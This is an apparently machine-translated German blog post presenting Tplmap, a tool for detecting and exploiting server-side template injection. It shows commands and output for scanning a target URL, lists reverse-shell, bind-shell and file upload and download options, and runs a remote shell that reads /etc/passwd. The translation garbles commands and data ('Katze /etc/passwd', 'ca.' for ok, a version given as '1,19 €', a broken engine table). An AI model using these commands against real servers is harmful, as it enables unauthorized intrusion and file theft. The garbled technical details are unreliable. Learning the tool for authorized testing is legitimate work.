Tplmap – identifizieren und verwenden Sie die Vorlagen-Engine

Tplmap

Wenn Sie einen Website-Penetrationstest durchführen, der dynamische Inhalte mit Vorlagen mit benutzerdefinierten Werten generiert, können Sie auf eine Server-Side Template Injection stoßen. Die manuelle Identifizierung des Vorlagenmotors und die anschließende Exploitation können mit dem Tplmap-Tool einfach automatisiert werden.

Tplmap ist in der Lage, SSTI in mehr als einem Dutzend Arten von Vorlagenmotoren zu erkennen und zu nutzen. Es verfügt über Funktionen wie das Durchsuchen des Dateisystems und die Remoteausführung von Befehlen auf dem angegriffenen Server.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testen, ob GET-Parameter 'Name' injectable ist
[+] Smarty-Plugin testet Rendering mit dem Tag '*}'
[+] Smarty Plugin testet blinde Injektion
[+] Mako-Plugin testet Rendering mit dem Tag '*}'
...
[+] Jinja2-Plugin testet Rendering mit dem Tag '{*}}'
[+] Jinja2-Plugin hat Injektion mit dem Tag '{*}} bestätigt
[+] Tplmap identifizierte den folgenden Injektionspunkt:

GET Parameter: name
  Engine: Jinja2
  Injektion: {*}}
  Kontext: text
  OS: linux
  Technique: Rendering
  Capabilities:

Shell-Befehlsermächtung: ca.
   Bind und umgekehrte Schale: ok
   Datei geschrieben: ok
   Datei lesen: ca.
   Code-Bewertung: ca., Python-Code

[+] Rerun tplmap bietet eine der folgenden Optionen:

--os-shell Run Shell auf das Ziel
    --os-cmd Ausführen von Shell-Befehlen
    --bind-shell PORT Connect to a shell bind to a target port
    --reverse-shell HOST PORT Senden Sie eine Schale zurück zum Angreifer es Port
    --upload LOCAL REMOTE Laden Sie Dateien auf den Server
    --download REMOTE LOCAL Download Remote Files

Verwenden Sie die Option --os-shell , um ein Pseudoterminal für das Ziel auszuführen.

$/tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Führen Sie Befehle auf das Betriebssystem.

linux $ whoami
www
linux $ Katze /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap unterstützt mehr als 15 Vorlagenmotoren:

MotorFernausführung von BefehlenBlindCode-EvaluierungLesen der DateiTranskript für Datei
MakoPython
Jinja2Python
Python (Code Eval)Python
TornadoPython
NunjucksJavaScript
PugJavaScript
doTJavaScript
MarkoJavaScript
JavaScript (Code Eval)JavaScript
Staub (<= [email protected])JavaScript
EJSJavaScript
Ruby (Code Eval)Ruby
SlimRuby
ERBRuby
SmartyPHP
PHP (Code Eval)PHP
Twig (<=1.19)PHP
Freemarker×
Velocity×
Twig (>1,19 €×××××
Smarty×××××
Staub (> [email protected])×××××

Tplmap finden Sie auf githubie Schöpfer – tplmap.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Speichere in deinen Favoriten diesen permalink.

Podziel się swoją opinią na temat artykułu